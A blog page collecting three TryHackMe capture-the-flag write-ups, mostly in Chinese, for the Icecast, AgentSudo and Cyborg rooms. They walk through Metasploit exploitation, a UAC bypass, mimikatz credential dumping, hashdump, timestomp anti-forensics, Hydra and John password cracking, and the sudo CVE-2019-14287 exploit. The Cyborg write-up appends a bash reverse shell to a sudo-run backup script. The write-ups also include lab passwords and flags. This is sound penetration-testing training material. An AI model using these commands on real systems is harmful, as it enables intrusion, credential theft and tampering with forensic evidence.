所以是 Execute Code OverflowWhat is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000- CVE-2004-156After Metasploit has started, let’s search for our target exploit using the command ‘search icecast’. What is the full path (starting with exploit) for the exploitation module? This module is also referenced in ‘RP: Metasploit’ which is recommended to be completed prior to this room, although not entirely necessary.- 開啟 msfmsfconsole輸入 search icecast 尋找 icecast 相關攻擊 module- 可以找到 module 為- exploit/windows/http/icecast_header準備 Exploit- 輸入 use 0 或 use exploit/windows/http/icecast_header 輸入 show options 可以看到我們需要輸入的參數RHOSTS LHOSTset RHOSTS 10.10.209.59``set LHOSTS 10.13.21.55輸入 exploit Escalate Woohoo! We’ve gained a foothold into our victim machine! What’s the name of the shell we have now? 他自動彈回了一個 meterpreter 的 shellWhat user was running that Icecast process? The commands used in this question and the next few are taken directly from the ‘RP: Metasploit’ room.- 輸入 ps 可以看到所有的 process 而如上圖,Icecast2.exe 使用者為 DARKWhat build of Windows is the system?- 偵察系統版本有助於後續的工作 可以輸入 sysinfo 觀察 7601Now that we know some of the finer details of the system we are working with, let’s start escalating our privileges. First, what is the architecture of the process we’re running?- 如上的 sysinfo ,可以看到架構是 x64Now that we know the architecture of the process, let’s perform some further recon. While this doesn’t work the best on x64 machines, let’s now run the following command run post/multi/recon/local_exploit_suggester. This can appear to hang as it tests exploits and might take several minutes to complete- 接下來我們要使用 meterpreter 的自動 exploit 推薦器來做自動化測試 run post/multi/recon/local_exploit_suggester Running the local exploit suggester will return quite a few results for potential escalation exploits. What is the full path (starting with exploit/) for the first returned exploit?- 第一個回傳的是 exploit/windows/local/bypassuac_eventvwr按下鍵盤 ctrl + z 先把 meterpreter session 丟去背景- 準備來下 explit 指令 輸入 use exploit/windows/local/bypassuac_eventvwr輸入 show options- 確認目前的 session ID- ID 為 1設定相關參數- set session 1 set LHOSTS 10.13.21.55輸入 run 開始執行- We can now verify that we have expanded permissions using the command getprivs. What permission listed allows us to take ownership of files?- 輸入 getprivs 可以看到我們的權限 他說要可以 take ownership of files 所以是 SeTakeOwnershipPrivilege Looting Mentioned within this question is the term ’living in’ a process. Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.他說要找印表機相關的程式 先下 ps 觀察 processes透過 Google 可以發現是 spoolsv.exe- 他的 pid 是 1300輸入 getuid 觀察目前我們是什麼使用者- 輸入 migrate 1300- 把自己的 process 搬移到 pid 1300 上面 Let’s check what user we are now with the command getuid. What user is listed?- 再輸入一次 getuid 會發現我們變成 NT AUTHORITY\SYSTEM 權限!輸入 load kiwi 載入 mimikatz- 輸入 help 觀察 mimikatz 使用方法- Which command allows up to retrieve all credentials?- creds_all Run this command now. What is Dark’s password? Mimikatz allows us to steal this password out of memory even without the user ‘Dark’ logged in as there is a scheduled task that runs the Icecast as the user ‘Dark’. It also helps that Windows Defender isn’t running on the box ;) (Take a look again at the ps list, this box isn’t in the best shape with both the firewall and defender disabled)- 上面就有寫到 Dark 的密碼為 Password01! Post-Exploitation What command allows us to dump all of the password hashes stored on the system? We won’t crack the Administrative password in this case as it’s pretty strong (this is intentional to avoid password spraying attempts)輸入 hashdump 可以 dump 出所有的密碼 hash 其實我們在這邊也可以複製 Dark 的 hash 然後用 John 爆爆看john hash.txt --wordlist=/opt/rockyou.txt --format=NT 可以發現也是可以快速爆出密碼While more useful when interacting with a machine being used, what command allows us to watch the remote user’s desktop in real time?- 這題剛開始我以為是說螢幕截圖 screenshot 輸入完之後會自動的存一張即時的圖檔 不過後來發現他要是 real time,所以答案是 screenshare- 他會開一個 html 然後自動刷新、可以即時監看 How about if we wanted to record from a microphone attached to the system?- 監聽麥克風可以使用 record_micTo complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don’t ever do this on a pentest unless you’re explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.- 竄改 timestamp 可以用 timestompMimikatz allows us to create what’s called a golden ticket, allowing us to authenticate anywhere with ease. What command allows us to do this?- golden_ticket_create可以透過 run post/windows/manage/enable_rdp 開啟RDP

2021-07-31 · 7 分鐘 · steven

AgentSudo (Try Hack Me Writeup)

URL: https://tryhackme.com/room/agentsudoctf IP : 10.10.119.64 Recon 老梗 nmap -A 10.10.119.64 發現有開FTP SSH HTTP嘗試進入 HTTP- 看到他說需要在 useragent 放 Codename (機密代號) 又說 Dear agent, 下面有說 Agent R 所以基本上可以先猜測 Agent A 到 Z 爆猜機密代號 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉 curl 對著 F12 的 Reuest 右鍵,Copy as cURL curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'curl 轉 Python request- 我使用這個網站 https://curl.trillworks.com/把 curl 貼上就可以自動轉 python 的 request 了接下來寫一段扣爆破因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218 運氣很好,C 就猜到ㄌ import requests for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ": headers = { 'User-Agent': i , 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0, no-cache', 'Pragma': 'no-cache', } response = requests.get('http://10.10.119.64/', headers=headers).text print(i,len(response)) 用 User-Agent:C 發 request在 Firefox 上使用右鍵, Edit and Resend- 修改 User-Agent 為 C 並送出可以發現他自動跳轉到這個網頁- http://10.10.119.64/agent_C_attention.php 內文中發現了 Agent C 叫做 chris 而且他的主管在嘴他說使用弱密碼 FTP 嘗試爆破 FTP因為 nmap 有掃到 ssh 跟 ftp,隨便取 ftp 透過 Hydra + Rockyou 字典來爆hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64可以了解到帳號為 chris密碼為 crystal嘗試登入 FTP- ftp 10.10.119.64 輸入 ls 觀察 ftp 裡面的檔案輸入 get 檔名 把檔案依序載下來觀察 txt 檔案- cat To_agentJ.txt 他說兩張照片都是假ㄉ,裡面有藏東東 Stego 起手式 stringsstrings cutie.png 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ透過 binwalk 觀察是否裡面有藏檔案- 發現 png 後面塞了一個 zip透過 foremost 解出裡面的檔案- foremost cutie.png 會發現資料夾裡面有一包 zip 解壓縮 zip- 用最直覺的 unzip 會發現噴錯 跟據這篇的講法,可以用 7z 來解7z x 00000067.zip- 用 7z 解,會發現 zip 需要密碼爆破 zip 密碼- 先把 zip 轉成 約翰格式 zip2john 00000067.zip > j.txt john j.txt --wordlist=/opt/rockyou.txt 就可以取得密碼為 alien 解壓縮 zip- 7z x 00000067.zip 並使用密碼 alien 即可解壓完畢 解壓內容可以看到一組奇怪的密碼 QXJlYTUx 透過 base64 解碼base64 -d 即可獲得 Area51接下來看到另外一個檔案- cute-alien.jpg` 這邊使用 steghide 進行解密 steghide extract -sf cute-alien.jpg並搭配 Area51- 發現成功的解出了 message.txt 我們可以發現文章內- 使用者 : james 密碼 : hackerrules! SSH 透過 SSH 進行登入ssh james@10.10.119.64 尋找到 user_flag.txt- b03d975e8c92a7c04146cfa7a5a313c7 提權 輸入 sudo -l 所以我們不能以 root 身分執行/bin/bashWhat is the incident of the photo called?- 裡面還找到了一張照片 透過 Google 以圖搜圖可以找到這篇新聞 Roswell alien autopsy繼續提權- 透過 scp 上傳 Linpeas本機scp linpeas.sh james@10.10.119.64:/tmp 遠端- bash linpeas.sh | tee meow.txt可以觀察到 Linpeas 把 sudo 版本變紅色- 透過Google Sudo 1.8.21p2可以找到 CVE-2019-14287 https://www.exploit-db.com/exploits/47502遠端機器剛好有 python 跟 vim- 那就直接開 vim 把 exploit 給貼上 把 python exploit code 給 run 起來- 詢問使用者名稱,就輸入 james 成功提權!取得 root flag- b53a02f55b57d4439e3341834d70c062(Bonus) Who is Agent R?- 信最後 有寫 DesKel aka Agent R 阿不是阿,你名字裡哪裡有 R ㄌ ?__?

2021-07-31 · 2 分鐘 · steven

Cyborg (Try Hack Me Writeup)

URL : https://tryhackme.com/room/cyborgt8 IP : 10.10.210.57 Recon 老梗 nmap -A 10.10.210.5Scan the machine, how many ports are open?- 2What service is running on port 22?- SSHWhat service is running on port 80?- HTTP``python3 dirsearch.py -u http://10.10.210.57/ -e all- /admin/ /etc/ 解密 先從 /etc/ 路徑開始看裡面有啥http://10.10.210.57/etc 找到路徑底下有一個 passwd- http://10.10.210.57/etc/squid/passwdmusic_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn. 看起來是 hash 格式,直接複製出來給約翰 john a.txt --wordlist=/opt/rockyou 帳號 : music_archive 密碼 : squidward 尋寶 去逛 /admin/發現有 Archive 可以下載 解開之後發現是一種奇怪格式- 檔案都是 binary 無法 print Readme 提醒我們可以去看 https://borgbackup.readthedocs.io/ borg 是一種備份程式嘗試簡單的看完說明後- borg list .輸入密碼,剛剛約翰破出來的 squidward 可以看到一些資訊borg mount . ../a- 把檔案掛載起來 發現掛載的檔案裡面有 note- alex:S3cretP@s3 看起來就很像帳密 進入系統 用 ssh 搭配帳密登入 取得 user flag flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}嘗試提權- 先用 sudo -l 看我們有什麼權限 發現我們可以用 sudo 執行 /etc/mp3backups/backup.sh觀察權限- 發現我們是這個檔案的擁有者,但我們不能修改他 不過可以透過 chmod +w 新增 Write 權限插入 shell- echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'" >> /etc/mp3backups/backup.sh 直接用 reverse shell 插入檔案最下方執行 shell- 攻擊機開啟監聽nc -vlk 7877被駭機用 sudo 執行該檔案- sudo /etc/mp3backups/backup.sh拿到 root shell!- 貓根旗幟- flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}

2021-07-29 · 1 分鐘 · steven